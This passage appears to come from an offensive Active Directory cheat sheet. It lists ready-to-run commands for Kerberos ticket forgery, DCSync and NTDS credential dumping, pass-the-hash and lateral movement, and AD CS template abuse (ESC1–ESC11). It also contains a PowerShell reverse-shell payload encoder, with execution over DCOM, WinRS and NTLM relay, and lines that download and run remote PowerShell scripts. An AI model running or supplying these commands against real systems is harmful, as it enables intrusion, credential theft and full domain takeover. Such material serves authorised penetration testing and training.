whoami /user                   // SID: S-1-5-21-1987370270-658905905-1781884369-1105 (S-1-5-21-1987370270-658905905-1781884369)
mimikatz # kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:<DOMAIN> /ptt /target:<RHOST> /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:<USERNAME>
klist
iwr -UseDefaultCredentials http://<RHOST>

Domain Controller Syncronization (DCSync)

Prerequisites

Replicating Directory Changes
Replicating Directory Changes All
Replicating Directory Changes in Filtered

Domain Controller Synchonization Execution

PS C:\> .\mimikatz.exe
mimikatz # lsadump::dcsync /user:<DOMAIN>\<USERNAME>
mimikatz # lsadump::dcsync /user:<DOMAIN>\Administrator
hashcat -m 1000 <FILE> /PATH/TO/WORDLIST/<WORDLIST> -r /usr/share/hashcat/rules/best64.rule --force

impacket-secretsdump -just-dc-user <USERNAME> <DOMAIN>/<USERNAME>:"<PASSWORD>"@<RHOST>

Lateral Movement

Windows Management Instrumentation (WMI)

Spawning Process

wmic /node:<RHOST> /user:<USERNAME> /password:<PASSWORD> process call create "cmd"

Store Credentials

$username = '<USERNAME>';
$password = '<PASSWORD>';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

Instanciate Distributed Component Object MOdel (DCOM)

$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName <RHOST> -Credential $credential -SessionOption $Options 
$command = 'cmd';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

Creating Payload

revshell_encoder.py

import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)

Payload Encoding

python3 encode.py

powershell -nop -w hidden -e JAB<--- SNIP --->CkA

Execution

$username = '<USERNAME>';
$password = '<PASSWORD>';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName <RHOST> -Credential $credential -SessionOption $Options 
$command = 'powershell -nop -w hidden -e JAB<--- SNIP --->CkA';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

Windows Remote Shell (WinRS)

Prerequisites

User needs to be part of the Administrators or Remote Management Users group on the target host

Execution

winrs -r:<RHOST> -u:<USERNAME> -p:<PASSWORD> "cmd /c hostname & whoami"
winrs -r:<RHOST> -u:<USERNAME> -p:<PASSWORD> "powershell -nop -w hidden -e JAB<--- SNIP --->CkA"

PowerShell

$username = '<USERNAME>';
$password = '<PASSWORD>';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName <RHOST> -Credential $credential
Enter-PSSession 1

PsExec

.\PsExec64.exe -i \\<RHOST> -u <DOMAIN>\<USERNAME> -p <PASSWORD> cmd

Pass the Hash (PtH)

impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@<RHOST>

Overpass the Hash

.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
klist
dir \\<RHOST>\<SHARE>
klist
.\PsExec.exe \\<RHOST> cmd

Pass the Ticket

Prerequisites

Export an already existing ticket of a user

Exporting the Ticket

.\mimikatz.exe
mimikatz # privilege::debug
mimikatz #sekurlsa::tickets /export
dir *.kirbi
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-<USERNAME>@cifs-<RHOST>.kirbi
klist
.\PsExec.exe \\<RHOST> cmd

Distributed Component Object Model (DCOM)

Prerequisites

Elevated PowerShell session

Creating and storing the Distributed Component Object Model

$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<RHOST>"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c cmd","7")
tasklist | findstr "cmd"
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JAB<--- SNIP --->CkA","7")

Active Directory Persistence

Golden Tickets

Prerequisites

Hash of krbtgt

Forge and Inject Golden Ticket

.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
mimikatz # kerberos::purge
mimikatz # kerberos::golden /user:<USERNAME> /domain:<DOMAIN> /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
mimikatz # misc::cmd

Execution

Use the hostname and not the IP address because otherwise it would authenticate via NTLM and the access would still be blocked.

.\PsExec.exe \\<RHOST> cmd

Volume Shadow Service (VSS) aka Shadow Copies

https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/

Create and collect necessary Files

vshadow.exe -nw -p  C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\ntds.dit.bak
reg.exe save hklm\system C:\system.bak
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

Active Directory Certificate Services (AD CS)

certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -vulnerable -stdout

ESC1: Misconfigured Certificate Templates

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -dns <RHOST>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC2: Misconfigured Certificate Templates

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC3: Enrollment Agent Templates

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC4: Vulnerable Certificate Template Access Control

certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLAET> -save-old
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -vulnerable -dc-ip <RHOST> -stdout
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -upn administrator@<DOMAIN>
certipy req -ca '<CA>' -username administrator@<DOMAIN> -password <PASSWORD> -target <CA> -template User -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC7: Vulnerable Certificate Authority Access Control

certipy ca -ca '<CA>' -add-officer <USERNAME> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy ca -ca '<CA>' -enable-template SubCA -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template SubCA -upn administrator@<DOMAIN>
certipy ca -ca '<CA>' -issue-request <ID> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -retrieve <ID>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC8: NTLM Relay to AD CS HTTP Endpoints

certipy relay -target 'http://<CA>'
certipy relay -ca '<CA>' -template <TEMPLATE>
python3 PetitPotam.py <RHOST> <DOMAIN>
certipy auth -pfx dc.pfx -dc-ip <RHOST>
export KRB5CCNAME=dc.ccache
impacket-secretsdump -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>

Coercing

impacket-ntlmrelayx -t http://<RHOST>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>
python3 PetitPotam.py <RHOST> <DOMAIN>
python3 gettgtpkinit.py -pfx-base64 $(cat base64.b64) '<DOMAIN>'/'dc$' 'dc.ccache'
export KRB5CCNAME=dc.ccache
impacket-secretsdump -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>

ESC9: No Security Extensions

certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn Administrator
certipy req -ca '<CA>' -username <USERNAME> -hashes 54296a48cd30259cc88095373cec24da -template <TEMPLATE>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn <USERNAME>@<DOMAIN>
certipy auth -pfx administrator.pfx -domain <DOMAIN>

ESC10: Weak Certificate Mappings

Case 1

certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn Administrator
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -hashes a87f3a337d73085c45f9416be5787d86
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME -upn <USERNAME>@<DOMAIN>
certipy auth -pfx administrator.pfx -domain <DOMAIN>

Case 2

certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn 'DC$@<DOMAIN>'
certipy req -ca 'CA' -username <USERNAME>@<DOMAIN> -password -hashes a87f3a337d73085c45f9416be5787d86
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME -upn <USERNAME>@<DOMAIN>
certipy auth -pfx dc.pfx -dc-ip <RHOST> -ldap-shell

ESC11: IF_ENFORCEENCRYPTICERTREQUEST

certipy relay -target 'rpc://<CA>' -ca 'CA'
certipy auth -pfx administrator.pfx -domain <DOMAIN>

ADCSTemplate

Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName TopCA -JSON (Export-ADCSTemplate -DisplayName 'Subordinate Certification Authority') -AutoEnroll -Publish -Identity '<DOMAIN>\Domain Users'

ADMiner

AD-miner -u <USERNAME> -p <PASSWORD> -cf <NAME>

BloodHound

sudo apt-get install openjdk-11-jdk
pip install bloodhound
sudo apt-get install neo4j
sudo apt-get install bloodhound

Installing and starting Database

wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
sudo echo 'deb https://debian.neo4j.com stable 4.0' > /etc/apt/sources.list.d/neo4j.list
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get install neo4j
systemctl start neo4j
./bloodhound --no-sandbox

https://localhost:7474/browser/

Docker Container

docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/<PASSWORD> -v $(pwd)/neo4j:/data neo4j:4.4-community

Database Password Reset

https://localhost:7474/browser/

ALTER USER neo4j SET PASSWORD '<PASSWORD>'

BloodHound Python

bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -gc '<DOMAIN>' -ns <RHOST> -c all --zip
bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<RHOST>' -ns <RHOST> -c all --zip
bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -ns <RHOST> --dns-tcp -no-pass -c ALL --zip
bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<RHOST>' -ns <RHOST> --dns-tcp -no-pass -c ALL --zip

bloodyAD

https://github.com/CravateRouge/bloodyAD/wiki/User-Guide

bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get children 'DC=<DOMAIN>,DC=<DOMAIN>' --type user                       // Get all users of the domain
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get children 'DC=<DOMAIN>,DC=<DOMAIN>' --type computer                   // Get all computers of the domain
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get children 'DC=<DOMAIN>,DC=<DOMAIN>' --type container                  // Get all containers of the domain
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get dnsDump                                                              // Get AD DNS records
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object Users --attr member                                           // Get group members
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<DOMAIN>' --attr msDS-Behavior-Version        // Get AD functional level
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<DOMAIN>' --attr minPwdLength                 // Get minimum password length policy
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<DOMAIN>' --attr ms-DS-MachineAccountQuota    // Read quota for adding computer objects to domain
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object '<USERNAME>' --attr userAccountControl                        // Get UserAccountControl flags
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object '<OBJECT>$' --attr ms-Mcs-AdmPwd                              // Read LAPS password
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> get object '<OBJECT>$' --attr msDS-ManagedPassword                       // Read GMSA account password
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<USERNAME>' '<PASSWORD>' --kerberos --dc-ip <RHOST>        // Set a password for a user
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add groupMember '<GROUP>' '<USERNAME>'                                   // Add user to a group
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add dnsRecord <RECORD> <LHOST>                                           // Add a new DNS entry
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add uac <USERNAME> DONT_REQ_PREAUTH                                      // Enable DONT_REQ_PREAUTH for ASREPRoast
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> remove dnsRecord <RECORD> <LHOST>                                        // Remove a DNS entry
bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> remove uac <USERNAME> ACCOUNTDISABLE                                     // Disable ACCOUNTDISABLE

Certify

https://github.com/GhostPack/Certify

Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser

Certipy

https://github.com/ly4k/Certipy

https://github.com/ly4k/BloodHound/

certipy find -dc-ip <RHOST> -u <USERNAME>@<DOMAIN> -p <PASSWORD>
certipy find -dc-ip <RHOST> -u <USERNAME> -p <PASSWORD> -vulnerable -stdout

Account Creation

certipy account create -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -dns <RHOST> -user <COMPUTERNAME>

Authentication

certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN>

LDAP-Shell

certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN> -ldap-shell

# add_user <USERNAME>
# add_user_to_group <GROUP>

Certificate Forging

certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template Web -dc-ip <RHOST> -save-old

Certificate Request

Run the following command twice because of a current issue with certipy.

certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST>

certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN>
certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN> -debug

Revert Changes

certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLATE> -dc-ip <RHOST> -configuration <TEMPLATE>.json

Start BloodHound Fork

./BloodHound --disable-gpu-sandbox

enum4linux-ng

enum4linux-ng -A <RHOST>

Evil-WinRM

evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>
evil-winrm -i <RHOST> -c /PATH/TO/CERTIFICATE/<CERTIFICATE>.crt -k /PATH/TO/PRIVATE/KEY/<KEY>.key -p -u -S

Impacket

impacket-atexec

impacket-atexec -k -no-pass <DOMAIN>/Administrator@<RHOST> 'type C:\PATH\TO\FILE\<FILE>'

impacket-dcomexec

impacket-dcomexec <RHOST> -object MMC20 -silentcommand -debug '<DOMAIN>/<USERNAME>':'<PASSWORD>' '<COMMAND>'
impacket-dcomexec -dc-ip <RHOST> -object MMC20 -slientcommand '<DOMAIN>/<USERNAME>@<RHOST>' '<COMMAND>'

impacket-findDelegation

impacket-findDelegation <DOMAIN>/<USERNAME> -hashes :<HASH>

impacket-GetADUsers

impacket-GetADUsers -all -dc-ip <RHOST> <DOMAIN>/

impacket-GetNPUsers

impacket-GetNPUsers <DOMAIN>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
impacket-GetNPUsers <DOMAIN>/ -usersfile usernames.txt -format john -outputfile hashes
impacket-GetNPUsers <DOMAIN>/<USERNAME> -request -no-pass -dc-ip <RHOST>

impacket-getST

impacket-getST <DOMAIN>/<USERNAME> -spn <USERNAME>/<RHOST> -hashes :<HASH> -impersonate <USERNAME>
impacket-getST <DOMAIN>/<USERNAME>$ -spn <USERNAME>/<RHOST> -hashes :<HASH> -impersonate <USERNAME>

impacket-getTGT

impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>
impacket-getTGT <DOMAIN>/<USERNAME> -dc-ip <DOMAIN> -hashes aad3b435b51404eeaad3b435b51404ee:7c662956a4a0486a80fbb2403c5a9c2c

impacket-getUserSPNs

impacket-GetUserSPNs <DOMAIN>/<USERNAME> -dc-ip <RHOST> -request
impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -dc-ip <RHOST> -request

export KRB5CCNAME=<USERNAME>.ccache
impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<DOMAIN> -no-pass -request

impacket-lookupsid

impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>

impacket-netview

impacket-netview <DOMAIN>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt -users /PATH/TO/FILE/<FILE>.txt

impacket-ntlmrelayx

Common Commands

impacket-ntlmrelayx -t <LHOST> --no-http-server -smb2support -c "powershell -enc JAB<--- SNIP --->j=="
impacket-ntlmrelayx -t ldap://<RHOST> --no-wcf-server --escalate-user <USERNAME>

Example

impacket-ntlmrelayx --no-http-server -smb2support -t <RHOST> -c "powershell -enc JABjAGwAaQBlAG4AdA<--- CUT FOR BREVITY --->"

dir \\<LHOST>\foobar

nc -lnvp <LPORT>

impacket-psexec

impacket-psexec <USERNAME>@<RHOST>
impacket-psexec <DOMAIN>/administrator@<RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18

impacket-req

impacket-reg <DOMAIN>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <COMMAND> <COMMAND>

impacket-rpcdump

impacket-rpcdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>

impacket-samrdump

impacket-samrdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>

impacket-secretsdump

impacket-secretsdump <DOMAIN>/<USERNAME>@<RHOST>
impacket-secretsdump -dc-ip <RHOST> <DOMAIN>/<SUERNAME>:<PASSWORD>@<RHOST>
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash

export KRB5CCNAME=<USERNAME>.ccache
impacket-secretsdump -k <DOMAIN>/<USERNAME>@<RHOST>.<DOMAIN> -no-pass -debug

impacket-services

impacket-services <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> <COMMAND>

impacket-smbclient

impacket-smbclient <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>

export KRB5CCNAME=<USERNAME>.ccache
impacket-smbclient -k <DOMAIN>/<USERNAME>@<RHOST>.<DOMAIN> -no-pass

impacket-smbpasswd

impacket-smbpasswd <RHOST>/<USERNAME>:'<PASSWORD>'@<RHOST> -newpass '<PASSWORD>'

impacket-smbserver

impacket-smbserver local . -smb2support

impacket-ticketer

Requirements

Valid User
NTHASH
Domain-SID

export KRB5CCNAME=<USERNAME>.ccache
impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain <DOMAIN> -spn MSSQLSVC/<RHOST>.<DOMAIN> -user-id 500 Administrator

Fixing [-] exceptions must derive from BaseException

Issue

impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST> -no-pass -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] exceptions must derive from BaseException

To fix it

241         if self.__doKerberos:
242             #target = self.getMachineName()
243             target = self.__kdcHost

dacledit.py

https://github.com/fortra/impacket/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.py

python3 dacledit.py -action 'read' -principal '<USERNAME>' -target '<GROUP>' -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>' -k -dc-ip <RHOST> -debug
python3 dacledit.py -action 'read' -principal '<USERNAME>' -target '<GROUP>' -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>:<PASSWORD>' -k -dc-ip <RHOST> -debug
python3 dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal '<USERNAME>' -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>' -k -no-pass -dc-ip <RHOST>
python3 dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal '<USERNAME>' -target-dn 'OU=<GROUP>,DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>' -k -use-ldaps -dc-ip <RHOST>

Fixing msada_guids Error

#from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS

Then put the msada_guids.py into the same directory as dacledit.py

https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py

owneredit.py

https://github.com/fortra/impacket/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.py

python3 owneredit.py -k '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <RHOST> -action write -new-owner '<USERNAME>' -target '<GROUP>' -debug

ThePorgs Fork

pipenv shell
git clone https://github.com/ThePorgs/impacket/
pip3 install -r requirements.txt
sudo python3 setup.py install

JAWS

IEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LPORT>/jaws-enum.ps1')

Kerberos

https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a

General Notes

Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).
Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).
Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).

Bruteforce

./kerbrute -domain <DOMAIN> -users <FILE> -passwords <FILE> -outputfile <FILE>

With List of Users

.\Rubeus.exe brute /users:<FILE> /passwords:<FILE> /domain:<DOMAIN> /outfile:<FILE>

Check Passwords for all Users in Domain

.\Rubeus.exe brute /passwords:<FILE> /outfile:<FILE>

ASPREPRoast

Check ASPREPRoast for all Domain Users (Credentials required)

impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -outputfile <FILE>
impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format john -outputfile <FILE>

Check ASPREPRoast for a List of Users (No Credentials required)

impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format hashcat -outputfile <FILE>
impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format john -outputfile <FILE>

Check ASPREPRoast for all Domain Users in Domain

.\Rubeus.exe asreproast  /format:hashcat /outfile:<FILE>

Kerberoasting

impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -outputfile <FILE>
.\Rubeus.exe kerberoast /outfile:<FILE>
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII <FILE>
Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII <FILE>

Overpass The Hash/Pass The Key (PTK)

Request TGT with Hash

impacket-getTGT <DOMAIN>/<USERNAME> -hashes <LMHASH>:<NTLMHASH>

Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)

impacket-getTGT <DOMAIN>/<USERNAME> -aesKey <KEY>

Request TGT with Password

impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>

Set TGT for Impacket Usage

export KRB5CCNAME=<USERNAME>.ccache

Execute Remote Commands

impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass

Ask and inject the Ticket

.\Rubeus.exe asktgt /domain:<DOMAIN> /user:<USERNAME> /rc4:<NTLMHASH> /ptt

Execute a CMD on Remote Host

.\PsExec.exe -accepteula \\<RHOST> cmd

Pass The Ticket (PTT)

Harvest Tickets from Linux

Check Type and Location of Tickets

grep default_ccache_name /etc/krb5.conf

If none return, default is FILE:/tmp/krb5cc_%{uid}
In Case of File Tickets it is possible to Copy-Paste them to use them
In Case of being KEYRING Tickets, the Tool tickey can be used to get them
To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes
To inject, the Ticket have to be copied in a reachable Folder by all Users

cp tickey /tmp/tickey
/tmp/tickey -i

Harvest Tickets from Windows

sekurlsa::tickets /export
.\Rubeus dump

Convert Tickets dumped with Rubeus into base64

[IO.File]::WriteAllBytes("<TICKET>.kirbi", [Convert]::FromBase64String("<TICKET>"))

Convert Tickets between Linux and Windows Format with ticket_converter.py

https://github.com/Zer1t0/ticket_converter

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

Using Ticket on Linux

export KRB5CCNAME=<USERNAME>.ccache

Execute Remote Commands by using TGT

impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass

Using Ticket on Windows

Inject Ticket with mimikatz

kerberos::ptt <KIRBI_FILE>

Inject Ticket with Rubeus

.\Rubeus.exe ptt /ticket:<KIRBI_FILE>

Execute a CMD on Remote Host

.\PsExec.exe -accepteula \\<RHOST> cmd

Silver Ticket

Impacket Examples

Generate TGS with NTLM

python ticketer.py -nthash <NTLMHASH> -domain-sid <SID> -domain <DOMAIN> -spn <SPN>  <USERNAME>

Generate TGS with aesKey

python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> -spn <SPN>  <USERNAME>

Set the ticket for impacket use

export KRB5CCNAME=<USERNAME>.ccache

Execute Remote Commands by using TGT

impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass

mimikatz Examples

Generate TGS with NTLM

kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<NTLMHASH> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>

Generate TGS with AES 128bit Key

kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>

Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

